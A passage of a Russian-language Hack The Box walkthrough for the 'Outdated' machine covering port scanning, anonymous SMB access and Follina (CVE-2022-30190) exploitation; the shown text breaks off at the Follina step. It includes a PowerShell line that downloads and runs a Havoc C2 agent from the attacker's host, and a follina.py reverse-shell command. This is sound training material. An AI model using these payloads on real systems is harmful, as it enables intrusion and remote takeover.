HTB Outdated. Повышаем привилегии через службу обновления Windows

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Shadow Credentials
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как экс­плу­ати­ровать нашумев­шую уяз­вимость MSTD Follina, затем поз­лоупот­ребля­ем пра­вом AddKeyCredentialLink на учет­ную запись, а при повыше­нии при­виле­гий порабо­таем со служ­бой WSUS. Для удобс­тва исполь­зуем недав­но опуб­ликован­ный C2-фрей­мворк Havoc.

Пло­щад­кой для упражне­ний нам пос­лужит тре­ниро­воч­ная машина Outdated с пло­щад­ки Hack The Box. Ее уро­вень слож­ности оце­нен как сред­ний.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.175 outdated.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли мно­го откры­тых пор­тов, что типич­но для Windows:

  • 25 — служ­ба SMTP (поч­товый сер­вер);
  • 53 — служ­ба DNS;
  • 88 (филь­тру­ется) — служ­ба Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 139 — служ­ба сеан­сов NetBIOS, NetLogon;
  • 389 (филь­тру­ется) — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 3268 (LDAP) (филь­тру­ется) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 5985 (филь­тру­ется) — служ­ба уда­лен­ного управле­ния WinRM;
  • 8530, 8531 (филь­тру­ется) — служ­ба WSUS для обновле­ний опе­раци­онных сис­тем и про­дук­тов Microsoft;
  • 9389 (филь­тру­ется) — веб‑служ­бы AD DS.

Пор­ты 22 и 636 откры­вают нам новые домен­ные име­на, которые добавим в файл /etc/hosts:

10.10.11.175 outdated.htb dc.outdated.htb mail.outdated.htb
 

Точка входа

Пер­вым делом необ­ходимо про­верить, нет ли ано­ним­ного дос­тупа к служ­бе SMB. Для это­го авто­ризу­емся от име­ни поль­зовате­ля guest с пус­тым паролем. С помощью ути­литы CrackMapExec с парамет­ром --shares можем сра­зу получить дос­тупные общие ресур­сы.

crackmapexec smb 10.10.11.175 -u 'guest' -p '' --shares

Дос­тупные общие ресур­сы

По­луча­ем спи­сок общих ресур­сов и отме­чаем для себя дос­тупный для чте­ния каталог Shares. Для работы с ресур­сом SMB будем исполь­зовать smbclient из пакета скрип­тов impacket.

impacket-smbclient [email protected]
use shares
ls

Со­дер­жимое катало­га shares

На­ходим все­го один документ, который забира­ем на свой хост коман­дой get NOC_Reminder.pdf.

Со­дер­жимое докумен­та NOC_Reminder.pdf

Это отчет, который пре­дос­тавля­ет нам спи­сок текущих уяз­вимос­тей (не факт, что зак­рытых). Так­же говорит­ся, что мы можем прис­лать на адрес [email protected] ссыл­ку на уяз­вимое при­ложе­ние. В спис­ке отме­чаем недав­но нашумев­шую уяз­вимость CVE-2022-30190, она же Follina.

 

Точка опоры

Вос­поль­зуем­ся готовым экс­пло­итом, но так как нам нуж­на ссыл­ка на саму наг­рузку, а не документ, содер­жащий ее, то вне­сем одно изме­нение. Най­дем в исходном коде наг­рузку и изме­ним ее на коман­ду, которая ска­чает исполня­емый файл и затем запус­тит.

Invoke-WebRequest http://10.10.14.24:8080/demon.exe -OutFile C:\Windows\Tasks\demon.exe; C:\Windows\Tasks\demon.exe

Из­менен­ный код экс­пло­ита

Те­перь запус­тим файл follina.py, содер­жащий и наг­рузку, и веб‑сер­вер, и лис­тенер. Но вмес­то netcat мы будем исполь­зовать наг­рузку Havoc.

python3 follina.py --interface tun0 --port 8000 --reverse 4321

За­пуск follina.py

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *